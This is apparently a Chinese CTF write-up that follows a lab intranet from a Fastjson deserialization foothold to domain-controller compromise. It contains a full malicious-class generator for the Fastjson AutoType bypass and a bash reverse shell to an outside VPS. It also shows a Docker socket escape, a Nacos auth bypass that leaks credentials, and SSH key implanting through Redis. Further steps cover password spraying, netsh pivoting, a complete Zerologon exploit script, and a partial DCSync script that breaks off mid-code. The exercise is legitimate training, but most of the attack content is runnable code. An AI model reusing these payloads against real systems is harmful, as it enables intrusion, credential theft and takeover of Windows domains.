前言以及叠甲
做磐石复赛的时候看到这个反序列化相关就想做一下,但是因为队友开始都在做其他靶机,我在比赛时间内只完成了flag1,且未进行提交;在比赛结束后到wp提交的12小时内,我让ai跑通了整个域控题目;主要是做这种多层内网域控靶机较少,想着多点经验,学习一下,最后我在磐石的队伍名是 神奇山校车 如果赛方查验能验证队伍从未提交 从反序列化到域控的 72 小时的flag,比赛全程未使用ai
至此叠甲完毕
然后因为ai跑出来的时候已经是上午11点了,又因为时间原因所以只复现了前两个flag,若有纰漏请指出,感谢!!!
还有这md导出的公众号文章格式真的很烂,见谅,有师傅有其他解决方案也可以在下面留言
从反序列化到域控的 72 小时
先对入口机进行端口扫描
┌──(root㉿kali)-[~] └─# nmap -A -sV -T4 -p- 10.100.165.6 Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-07 12:00 +0800 Nmap scan report for 10.100.165.6 Host is up (0.015s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 8e:3b:67:f4:32:f6:ff:4e:1e:3f:21:79:67:33:6d:40 (ECDSA) |_ 256 51:d7:c3:44:d3:dc:3c:1c:f7:7b:90:6d:9e:67:cf:f8 (ED25519) 8080/tcp open http JBoss Enterprise Application Platform |_http-title: Site doesn't have a title (application/json). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=9/7%OT=22%CT=1%CU=38066%PV=Y%DS=4%DC=T%G=Y%TM=6A9E3761 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ( OS:SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=10E%TI=Z%C OS:I=Z%II=I%TS=A)SEQ(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F7%GCD OS:=2%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O3=M550 OS:NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=FB34%W2=FB34%W OS:3=FB34%W4=FB34%W5=FB34%W6=FB34)ECN(R=Y%DF=Y%T=40%W=FD5C%O=M550NNSNW7%CC= OS:Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T= OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0 OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40% OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 4 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 554/tcp) HOP RTT ADDRESS 1 13.61 ms 10.101.38.1 2 13.57 ms 172.17.0.1 3 13.66 ms 10.10.28.254 4 13.67 ms 10.100.165.6 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 103.89 seconds
Fastjson 反序列化 RCE
这里查看web8080端口发现接口
curl -s http://xxx/ # {"message":"JSON API","endpoints":["/parse"]}

/parse 接收 JSON 并解析,尝试fastjson的@type发现有报错
这里先进行Fastjson精确版本探测
探测出fastjson版本是1.2.83
1. 漏洞原理
Fastjson 1.2.83 默认封了 AutoType 的常见黑名单(java.net.URL、JdbcRowSetImpl 等),但题目应用开了 autoTypeSupport。我们用 jar:http:// 内联类加载 + @JSONType 注解 这条信任路径:让目标 JVM 从我们的 VPS 加载一个恶意 .class,执行它的 <clinit>(静态初始化块)来跑命令。
关键绕过:Fastjson 黑名单匹配字符串
http:///jar:,我们把 URL 里的://写成:..、/写成.,Java 的 URL 解析器仍能正确还原,但黑名单匹配不到。这就是 payload 里出现jar:http:..<ipInt>:<port>.<path>!.<clsName>的原因(ipInt是 IP 的十进制整数形式)。
2. 恶意类生成器 GenProbe.java(完整源码)
用 ASM 直接生成字节码,核心逻辑:在 <clinit> 里执行 Runtime.getRuntime().exec(new String[]{"/bin/bash","-c", cmd}),并给类打上 @JSONType 注解。
保存为 GenProbe.java(放在 fj83/ 目录,旁边放 asm-9.6.jar):
import org.objectweb.asm.*; import java.io.*; import java.nio.file.*; import java.util.jar.*; public class GenProbe { public static void main(String[] args) throws Exception { String lhost = args.length > 0 ? args[0] : "127.0.0.1"; // VPS IP String lport = args.length > 1 ? args[1] : "80"; // VPS 端口 String cmd = args.length > 2 ? args[2] : "id"; // 要执行的命令 String tag = args.length > 3 ? args[3] : ""; // 每次换 TAG,绕过类加载缓存 String clsName = "POC" + tag; // 唯一类名 String path = "probe" + tag; // 唯一 URL 路径 // IP 字符串 → 十进制整数(payload 里用整数形式) String[] parts = lhost.split("\\."); long ipInt = (Long.parseLong(parts[0]) << 24) | (Long.parseLong(parts[1]) << 16) | (Long.parseLong(parts[2]) << 8) | Long.parseLong(parts[3]); // 内部名 = 实际 jar URL(正常写法) String internalName = "jar:http://" + ipInt + ":" + lport + "/" + path + "!/" + clsName; ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS); cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internalName, null, "java/lang/Object", null); // 关键:@JSONType 注解,触发 Fastjson 信任路径 cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd(); // 构造函数 MethodVisitor init = cw.visitMethod(Opcodes.ACC_PUBLIC, "<init>", "()V", null, null); init.visitCode(); init.visitVarInsn(Opcodes.ALOAD, 0); init.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false); init.visitInsn(Opcodes.RETURN); init.visitMaxs(1, 1); init.visitEnd(); // static {} —— 执行命令 MethodVisitor clinit = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null); clinit.visitCode(); clinit.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); clinit.visitInsn(Opcodes.ICONST_3); clinit.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/String"); clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_0); clinit.visitLdcInsn("/bin/bash"); clinit.visitInsn(Opcodes.AASTORE); clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_1); clinit.visitLdcInsn("-c"); clinit.visitInsn(Opcodes.AASTORE); clinit.visitInsn(Opcodes.DUP); clinit.visitInsn(Opcodes.ICONST_2); clinit.visitLdcInsn(cmd); clinit.visitInsn(Opcodes.AASTORE); clinit.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); clinit.visitInsn(Opcodes.POP); clinit.visitInsn(Opcodes.RETURN); clinit.visitMaxs(5, 0); clinit.visitEnd(); cw.visitEnd(); // 打包成 jar,并拷贝到 HTTP 目录 Files.createDirectories(Paths.get("poc/www")); Path jarPath = Paths.get("poc/probe.jar"); try (JarOutputStream jos = new JarOutputStream(new FileOutputStream(jarPath.toFile()))) { jos.putNextEntry(new JarEntry(clsName + ".class")); jos.write(cw.toByteArray()); jos.closeEntry(); } Files.copy(jarPath, Paths.get("poc/www/" + path), StandardCopyOption.REPLACE_EXISTING); System.out.println("[+] poc/probe.jar & poc/www/" + path + " generated"); // 输出最终 payload(注意 :// 已替换成 :..,/ 替换成 .) System.out.println("[+] Payload: {\"@type\":\"jar:http:.." + ipInt + ":" + lport + "." + path + "!." + clsName + "\",\"x\":1}"); } }
3. 编译 + 生成 payload + 触发 + fantanshell
cd fj83 javac -cp .:asm-9.6.jar GenProbe.java # 把生成的恶意jar包放到/probe1目录下用于触发 # 同时开http服务让跳板机访问 python3 -m http.server 80 # POST /parse,@type=jar:http://<VPS>:80/probe1!/POCprobe1
手动单次验证(RCE 确认):
# 生成 payload(命令是 id) java -cp .:asm-9.6.jar GenProbe 10.101.38.3 8000 \ "bash -i >& /dev/tcp/10.101.38.3/4444 0>&1" shell1 # 输出最后一行类似: # [+] Payload: {"@type":"jar:http:..<ipInt>:80.probe1!.POCprobe1","x":1}
把输出的 payload 复制出来,POST 给 /parse:
curl -s -X POST http://10.100.71.50:8080/parse \ -H 'Content-Type: application/json' \ --data-binary '<打印出来的 payload>'
注意:生成的 payload 里的 URL 用了
:..和.混淆,<ipInt>是 IP 的十进制整数形式(例如47.96.255.147→ 计算方式见脚本),不要手写错。稳妥做法是直接复制脚本打印出来的那串。
nc -lvnp 4444
这里当时直接在本机反弹时失败了,ai说是因为单向vpn无法反连,因此使用公网vps进行反弹shell
Docker容器逃逸
拿到bash后发现是docker环境,但已经拿到docker的root权限
核心原理
默认情况下,dockerd 会在宿主机上创建一个 Unix 域套接字文件 /var/run/docker.sock,作为本地客户端和服务端通信的通道。只要拥有对这个 socket 文件的读写权限,就等价于拥有了控制 Docker daemon 的全部权限,也就等价于间接拿到了宿主机的 root 权限。
当容器内部挂载了宿主机的 /var/run/docker.sock 时,容器里的进程就可以直接和宿主机的 dockerd 通信,突破容器的隔离边界,这就是 Docker socket 逃逸的核心前提。
逃逸步骤逐段解释
1. 确认 docker.sock 是否挂载
进入容器后第一步先验证:容器里有没有宿主机挂载进来的 docker.sock。
ls -l /var/run/docker.sock:查看文件是否存在、权限是否可读写; mount | grep docker/ cat /proc/self/mountinfo | grep docker.sock:确认这个 socket 是从宿主机挂载进来的,而非容器内部自己生成的。
srw-rw---- 1 root 994 0 Sep 6 23:23 docker.sock # /var/run/docker.sock
只要确认挂载且有读写权限,就具备了逃逸条件。
2. 两种方式控制宿主机 Docker daemon
只要能和 docker.sock 通信,就能调用 Docker 的全部管理能力,有两种常用实现方式:
方式 A:容器内有 docker 客户端(docker CLI)
直接用 docker -H unix:///var/run/docker.sock 指定连接到这个本地 socket,后续所有 docker 命令都会直接发给宿主机的 dockerd,效果和在宿主机上执行 docker 命令完全一致。 比如执行 docker ps 看到的是宿主机上的所有容器,而不是当前容器内部的进程。
方式 B:无 docker 命令时,用 curl 直连 Docker API
Docker daemon 对外提供的是 RESTful HTTP API,底层通过 Unix socket 传输。curl 支持 --unix-socket 参数直接通过 Unix socket 发送 HTTP 请求,因此不需要安装 docker 客户端也能完整调用 Docker API。
常用接口对应关系:
GET /containers/json→ 等价于 docker ps,列出所有容器POST /containers/create→ 等价于 docker create,创建新容器POST /containers/<容器名>/start→ 等价于 docker start,启动容器
# 列出容器 curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json # 创建并启动一个特权容器,把宿主机根目录挂到 /mnt/host curl -s --unix-socket /var/run/docker.sock -X POST \ -H 'Content-Type: application/json' \ 'http://localhost/containers/create?name=esc' \ -d '{"Image":"alpine","Cmd":["sleep","3600"],"HostConfig":{"Privileged":true,"Binds":["/:/mnt/host"]}}' curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/esc/start
3. 创建特权容器,彻底拿到宿主机控制权
光控制 Docker 还不够,最终目的是访问宿主机文件系统、拿到 root 权限。最常规的做法是:通过 dockerd 创建一个特权容器,把宿主机的根目录直接挂载进新容器。
配置里两个关键参数:
"Privileged":true:开启特权模式,容器将获得几乎所有宿主机内核权限,突破默认的能力限制、设备隔离; "Binds":["/:/mnt/host"]:把宿主机的根目录 /挂载到新容器内的/mnt/host路径,新容器里可以直接读写宿主机的全部文件
4. 读取 flag / 持久化宿主机 root 权限
新的特权容器启动后,宿主机根目录就在 /mnt/host 下,此时有多种拿权限的方式:
- 直接读 flag
:最简单, cat /mnt/host/root/flag1就能直接读到宿主机上的 flag 文件; - 写 SSH 公钥持久化访问
:把自己的 SSH 公钥追加到 /mnt/host/root/.ssh/authorized_keys里,之后就能直接用 SSH 登录宿主机 root 用户,适合需要长期保留权限的场景; - chroot 切换根目录
:直接执行 chroot /mnt/host,完全切换到宿主机的根文件系统,和直接登录宿主机几乎没有区别。
Nacos鉴权绕过
拿到跳板机root后确认跳板机网络,确认L2内网
ip a ip route # eth0 = 10.100.71.50/16 (对外) # eth1 = 192.168.23.20/24 (L2 内网)
对L2内网进行存活主机探测并扫描端口
这里只发现一台存活主机192.168.23.111
arp-scan -interface=eth1 --localnet nmap -A -sV -T4 -p- 192.168.23.111
开放端口如下
能看到redis开放外网端口
且存在Nacos服务
22/tcp ssh 6379/tcp redis 7848/tcp (JRaft/gRPC) 8848/tcp (Nacos HTTP) 9848/tcp (Nacos gRPC client) 9849/tcp (Nacos gRPC server)
Nacos 2.0.1 CVE-2021-29441
先查nacos版本,访问接口发现 version:2.0.1
http://192.168.23.111:8848/nacos/v1/console/server/state {"standalone_mode":"standalone","function_mode":null,"version":"2.0.1", ...}
这个版本落在 CVE-2021-29441 的影响范围(≤ 2.0.2)
这个 CVE 的公开结论是:Nacos 的鉴权过滤器里有 UserAgentRequestMatcher,它判断“如果请求头 User-Agent 是 Nacos-Server,就认为这是服务端之间的内部调用,直接放行、不做鉴权”
所以只需要在请求配置列表接口时,把头改成 Nacos-Server
# 在跳板机上执行 curl -s -H 'User-Agent: Nacos-Server' \ 'http://192.168.23.111:8848/nacos/v1/cs/configs?dataId=&group=&tenant=&pageNo=1&pageSize=100&search=blur'
返回的 pageItems 里有一堆配置,其中 inventory-service.properties 里的 Inventory@2024! 是真实 Redis 口令,其余大多是诱饵,但应该将这些得到的密码写入爆破字典备用
#product-service.yaml # 产品服务配置 server: port: 8085 spring: datasource: url: jdbc:mysql://localhost:3306/product_db?useSSL=false username: product_user password: Product@2024! elasticsearch: uris: http://localhost:9200 username: elastic password: elastic@2024! product: cache: redis: host: localhost port: 6379 password: Redis@2024!
#inventory-service.properties # 库存服务配置 server.port=8086 spring.datasource.url=jdbc:mysql://localhost:3306/inventory_db?useSSL=false spring.datasource.username=inventory_admin spring.datasource.password=Inventory@2024! inventory.alert.threshold=10 inventory.sync.cron=0 0/5 * * * ?
{"totalCount":1,"pageNumber":1,"pagesAvailable":1, "pageItems":[{"username":"nacos", "password":"$2a$10$/RkDhinC6/ZeckE0iS77ZOcCtwk.GfkONb/59KIPSH9OsU/uya/j."}]}
能看到有相当多的密码泄露,还能看到泄露了 Nacos 控制台账号的 bcrypt 哈希
Redis 3.2.2 RDP持久化
用 redis-cli 连接
redis-cli -h 192.168.23.111 -p 6379 -a 'Inventory@2024!' --no-auth-warning
进入 redis 进行权限分析和命令探测,发现可以直接进行RDP持久化
CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SET x "\n\n<你的公钥内容>\n\n" SAVE CONFIG SET dir /
这里公钥前后必须包
\n\n,否则 RDB 二进制格式里 SSH 解析不出公钥,登录会Permission denied (publickey,password)。
ssh -i /root/.ssh/id_ed25519 root@192.168.23.111
架设内网代理转发
这里因为是连续linux机子,可以用ssh非常简单完成代理转发
用ssh构建代理隧道
ssh -D 1080 -N -f \ -o StrictHostKeyChecking=no \ -J root@10.100.71.50 \ root@192.168.23.111
然后用proxychains4强制转发流量至本地1080转发端口
proxychains4 nmap -Pn -p 135,139,445,3389,5985,5986 10.177.10.133
SMB 密码喷洒
确认 Nacos 双网卡:
ip a eth0 = 10.177.10.22/24 (L3 网卡) eth1 = 192.168.23.111/24
对L3内网进行存活主机探测并扫描端口
这里只发现一台存活主机10.177.10.133 PC-WIN10
arp-scan -interface=eth1 --localnet nmap -A -sV -T4 -p- 10.177.10.133
注意这里需要SSH 登进 Nacos,在 Nacos 本地对 eth0 跑 arp-scan / ping+arp -a,不能在 Kali 上 proxychains4 经 SOCKS 去“扫”;因为ARP 帧直接在 L3 网段发出,能命中 PC-WIN10,而SOCKS5 是 TCP(四层)隧道,ARP(二层)帧根本穿不过隧道
端口扫描结果如下
135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server (RDP) 5985/tcp open http (WinRM) 5986/tcp open https (WinRM over SSL)
明显是windows机,winrm用于windows远控
winrm无凭据无法连接
129&445明显smb,对其进行匿名查询
匿名会话默认关闭,尝试进行爆破
cat > /tmp/pass.txt <<'EOF' User@2024! Order@2024! Redis@2024! Product@2024! Inventory@2024! Admin@2024! Git@2024! Mail@2026! elastic@2024! EOF
这里访问RDP登录框嫩刚看到登录界面预填了用户名 PC-WIN10\idss
但是idss爆破失败,最终是爆破administrator成功
proxychains4 nxc smb 10.177.10.133 -u administrator -p /tmp/decoy_pw.txt --local-auth --continue-on-success # => [+] PC-WIN10\administrator:Git@2024! (Pwn3d!)
密码喷洒时使用了--local-auth
--local-auth的作用就是明确指定:走本地工作组 NTLM 认证,不要去域控做 Kerberos / 域认证; 验证通过 = 确认了 PC-WIN10\administrator这个本地账户的密码正确,且该账户具备 SMB 服务的访问权限。
因此拿到administrator系统账密后直接通过135rpc连接
proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \ "whoami & hostname & ipconfig"
继续查看网卡发现还有L4内网
proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" "ipconfig" # interface1: 10.177.10.133/24 (L3) # interface2: 10.177.11.122/24 (L4)
这里写脚本继续进行arp扫描存活主机
Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class ArpScan { [DllImport("iphlpapi.dll", SetLastError = true)] public static extern uint SendARP(uint destIP, uint srcIP, byte[] mac, ref uint macLen); } "@ function IPToUInt($ip) { $b = ([System.Net.IPAddress]::Parse($ip)).GetAddressBytes() [Array]::Reverse($b) return [BitConverter]::ToUInt32($b, 0) } 1..254 | ForEach-Object { $ip = "10.177.11.$_" $mac = New-Object byte[] 6 $len = [uint32]6 $ret = [ArpScan]::SendARP (IPToUInt $ip) 0 $mac [ref]$len if ($ret -eq 0 -and $len -eq 6) { $macStr = ($mac | ForEach-Object { $_.ToString("x2") }) -join ":" Write-Host "$ip ALIVE $macStr" } }
发现DC2026主机 10.177.11.11
写powershell脚本扫描端口
param( [Parameter(Mandatory=$true)][string]$Target, # 目标 IP,如 10.177.11.11 [int[]]$Ports = (1..65535), # 默认全端口,可改成 @(135,139,445,3389,...) [int]$Threads = 128, [int]$TimeoutMs = 500 ) $ErrorActionPreference = 'SilentlyContinue' $pool = [runspacefactory]::CreateRunspacePool(1, $Threads) $pool.Open() $jobs = foreach ($p in $Ports) { $ps = [powershell]::Create() $ps.RunspacePool = $pool [void]$ps.AddScript({ param($h, $port, $to) $c = New-Object System.Net.Sockets.TcpClient try { $r = $c.BeginConnect($h, $port, $null, $null) if ($r.AsyncWaitHandle.WaitOne($to) -and $c.Connected) { "$h`:$port OPEN" } } finally { $c.Close() } }).AddArgument($Target).AddArgument($p).AddArgument($TimeoutMs) [pscustomobject]@{ Pipe = $ps; Handle = $ps.BeginInvoke() } } foreach ($j in $jobs) { $j.Pipe.EndInvoke($j.Handle) | Where-Object { $_ } | Write-Host $j.Pipe.Dispose() } $pool.Dispose()
注意:Windows PowerShell 5.1 用上面这个 RunspacePool 版本;如果是 PowerShell 7+,可以直接用 ForEach-Object -Parallel,但 PC-WIN10 默认是 5.1,所以上面按 5.1 写。
这里能扫描到smb
架设内网代理转发2
用 Windows 自带的 netsh interface portproxy 把 DC2026 的两个关键端口转发到 PC-WIN10 上:
1445 → 10.177.11.11:445(SMB) 149667 → 10.177.11.11:49667(DRSUAPI 动态 RPC,DCSync 用)
在 PC-WIN10 上执行(通过 wmiexec):
# 加 portproxy 转发 proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \ "netsh interface portproxy add v4tov4 listenport=1445 listenaddress=0.0.0.0 connectport=445 connectaddress=10.177.11.11" proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \ "netsh interface portproxy add v4tov4 listenport=149667 listenaddress=0.0.0.0 connectport=49667 connectaddress=10.177.11.11" # 放行防火墙(否则 Nacos 连 PC-WIN10 的 1445/149667 会被拦) proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \ "netsh advfirewall firewall add rule name=pp1445 dir=in action=allow protocol=TCP localport=1445" proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \ "netsh advfirewall firewall add rule name=pp149667 dir=in action=allow protocol=TCP localport=149667" # 确认转发规则已生效 proxychains4 impacket-wmiexec "PC-WIN10/administrator:Git@2024!@10.177.10.133" \ "netsh interface portproxy show all"
要点:
netsh interface portproxy依赖 IP Helper 服务(iphlpsvc),一般默认在跑;- 转发的是 TCP 流,SMB(445)和 DRSUAPI(49667)都是 TCP,所以能通;
验证转发已通(现在 Kali 经 SOCKS 访问 10.177.10.133:1445 就等于连 DC2026 的 445):
proxychains4 nxc smb 10.177.10.133 --port 1445 -u '' -p '' --shares
预期 banner 显示:
[*] Windows 10 / Server 2019 Build 17763 (name:DC2026) (domain:idsscos.load) ... (Null Auth:True)
Zerologon(CVE-2020-1472)清空机器账户口令
在进行nxc smb验证转发时会发现
Server 2019 Build 17763 (name:DC2026) (domain:idsscos.load) ... Null Auth:True
暴露了如下信息
DC2026 是 Server 2019 Build 17763(未打 Zerologon 补丁)。Zerologon 能把域控机器账户 DC2026$ 的口令清空,之后就能用 DC2026$(空口令)做 DCSync。
Zerologon 的原理是 Netlogon RPC 里 AES-CFB8 的 IV 初始值错误(全零 IV 有 1/256 概率被服务器接受),所以脚本做的事就是:NetrServerChallenge → NetrServerAuthenticate3(用全零密文重试 2000 次,约 1/256 命中)→ NetrServerPasswordSet2(把 DC2026$ 机器账户口令设成空)。脚本返回成功,就等于漏洞被实测确认了
脚本 zerologon_np.py
因为只转发了 445(没有 135),标准 Zerologon(走 ncacn_ip_tcp + 动态端口)用不了,所以改成走 ncacn_np(SMB 命名管道 \pipe\netlogon):
#!/usr/bin/env python3 # CVE-2020-1472 (Zerologon) over ncacn_np (\pipe\netlogon, port 445). # 适配 portproxy/socat 只转发 445 的场景。 from impacket.dcerpc.v5 import nrpc from impacket.dcerpc.v5 import transport import sys MAX_ATTEMPTS = 2000 def fail(msg): print(msg, file=sys.stderr) sys.exit(2) def connect_np(dc_ip): host = dc_ip port = 445 if ':' in dc_ip: host, port = dc_ip.rsplit(':', 1) port = int(port) binding = r'ncacn_np:%s[\pipe\netlogon]' % host rpc_transport = transport.DCERPCTransportFactory(binding) rpc_transport.set_dport(port) # 关键:set_dport 在 transport 对象上 rpc_con = rpc_transport.get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con def try_zero_authenticate(rpc_con, dc_handle, target_computer): plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 flags = 0x212fffff nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags) assert server_auth['ErrorCode'] == 0 return True except nrpc.DCERPCSessionError as ex: if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.') def exploit(dc_handle, rpc_con, target_computer): request = nrpc.NetrServerPasswordSet2() request['PrimaryName'] = dc_handle + '\x00' request['AccountName'] = target_computer + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator request['ComputerName'] = target_computer + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request) def perform_attack(dc_name, dc_ip): victim = dc_name.rstrip('$') handle = '\\\\' + victim print('Connecting to %s (netlogon pipe) ...' % dc_ip) rpc_con = connect_np(dc_ip) print('Performing authentication attempts...') result = None for attempt in range(0, MAX_ATTEMPTS): result = try_zero_authenticate(rpc_con, handle, victim) if result is None: print('=', end='', flush=True) else: break if result: print('\nTarget vulnerable, changing account password to empty string') for attempt in range(0, MAX_ATTEMPTS): try: result = exploit(handle, rpc_con, victim) except nrpc.DCERPCSessionError as ex: if ex.get_error_code() == 0xc0000022: result = None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.') if result is None: print('=', end='', flush=True) else: break print('\nResult ErrorCode: ', end='') print(result['ErrorCode']) if result['ErrorCode'] == 0: print('Exploit complete! DC2026$ machine account password is now empty.') else: print('Non-zero return code, something went wrong?') else: print('\nAttack failed. Target is probably patched.') sys.exit(1) if __name__ == '__main__': if len(sys.argv) != 3: print('Usage: zerologon_np.py <dc-netbios-name> <dc-ip:port-or-ip>') sys.exit(1) perform_attack(sys.argv[1], sys.argv[2])
proxychains4 python3 zerologon_np.py DC2026 10.177.10.133:1445
参数说明:
DC2026:域控的 NetBIOS 名; 10.177.10.133:1445:经 SOCKS 走 portproxy 后的地址, :1445表示连接目标端口 1445(转发到 DC2026:445)。
预期输出(可能打印一排 等于号,表示在重试):
Exploit complete! DC2026$ machine account password is now empty.
DCSync 拉取域管理员 NT Hash
现在 DC2026$ 机器账户口令为空,用它做认证去 DCSync,把域 Administrator 的哈希拉出来。
这里还是需要自写脚本
DRSUAPI 走命名管道 \pipe\lsass会rpc_s_access_denied(环境特性);impacket 自带的 secretsdump默认靠 epmapper 找动态端口,而我只转发了 445 和 49667,没有 135/epmapper;所以直接写一个"已知端口 + ncacn_ip_tcp"的 DCSync,连 149667(转发到 49667)。
脚本 dcsync_tcp.py
#!/usr/bin/env python3 # 用法: dcsync_tcp.py <target> <rpc_port> <smb_port> <domain> <user> # target = 10.177.10.133 (portproxy 入口) # rpc_port = 149667 (转发到 DC2026:49667 DRSUAPI) # smb_port = 1445 (转发到 DC2026:445, 仅用于建立凭据) # domain = idsscos.load # user = idsscos\\Administrator from binascii import hexlify from struct import unpack import sys from impacket.dcerpc.v5 import drsuapi, transport from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket import ntlm from impacket.smbconnection import SMBConnection from impacket.uuid import string_to_bin def main(): target = sys.argv[1] rpc_port = int(sys.argv[2]) smb_port = int(sys.argv[3]) domain = sys.argv[4] user = sys.argv[5] # 1) 用机器账户 DC2026$ (空口令) 建 SMB 会话,拿到 NTLM 凭据 smb = SMBConnection(target, target, sess_port=smb_port) smb.login('DC2026$', '', domain) # 2) 用这些凭据连 DRSUAPI (ncacn_ip_tcp, 直接指定端口) rpc = transport.DCERPCTransportFactory(r'ncacn_ip_tcp:%s' % target) rpc.set_dport(rpc_port) rpc.set_credentials(*(smb.getCredentials())) dce = rpc.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(drsuapi.MSRPC_UUID_DRSUAPI) # 3) DRSBind request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | \ drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION | \ drsuapi.DRS_EXT_NONDOMAIN_NCS drs['SiteObjGuid'] = drsuapi.NULLGUID; drs['Pid'] = 0 drs['dwReplEpoch'] = 0; drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID; drs['dwExtCaps'] = 0xffffffff request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = dce.request(request) hDrs = resp['phDrs'] # 4) 拿 DC 的 dsa GUID resp = drsuapi.hDRSDomainControllerInfo(dce, hDrs, domain, 2) dsa_guid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] # 5) 把 "idsscos\\Administrator" 解析成对象 GUID cracked = drsuapi.hDRSCrackNames( dce, hDrs, 0, drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME, # 注意是 NT4 账户名,带域名 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, (user,)) rItems = cracked['pmsgOut']['V1']['pResult']['rItems'] if cracked['pmsgOut']['V1']['pResult']['cItems'] != 1 or rItems[0]['status'] != 0: print('DRSCrackNames failed: cItems=%d status=%d' % ( cracked['pmsgOut']['V1']['pResult']['cItems'], rItems[0]['status'])) sys.exit(1) guid = rItems[0]['pName'][:-1] print('[*] %s GUID = %s' % (user, guid)) # 6) DRSGetNCChanges,pPartialAttrSet=NULL(拿完整属性集,否则 unicodePwd 是空) req = drsuapi.DRSGetNCChanges() req['hDrs'] = hDrs; req['dwInVersion'] = 8; req['pmsgIn']['tag'] = 8 req['pmsgIn']['V8']['uuidDsaObjDest'] = dsa_guid req['pmsgIn']['V8']['uuidInvocIdSrc'] = dsa_guid dsName = drsuapi.DSNAME() dsName['SidLen'] = 0 dsName['Guid'] = string_to_bin(guid.replace('{', '').replace('}', '')) # 正确字节序 dsName['Sid'] = ''; dsName['NameLen'] = 0 dsName['StringName'] = '\x00'; dsName['structLen'] = len(dsName.getData()) 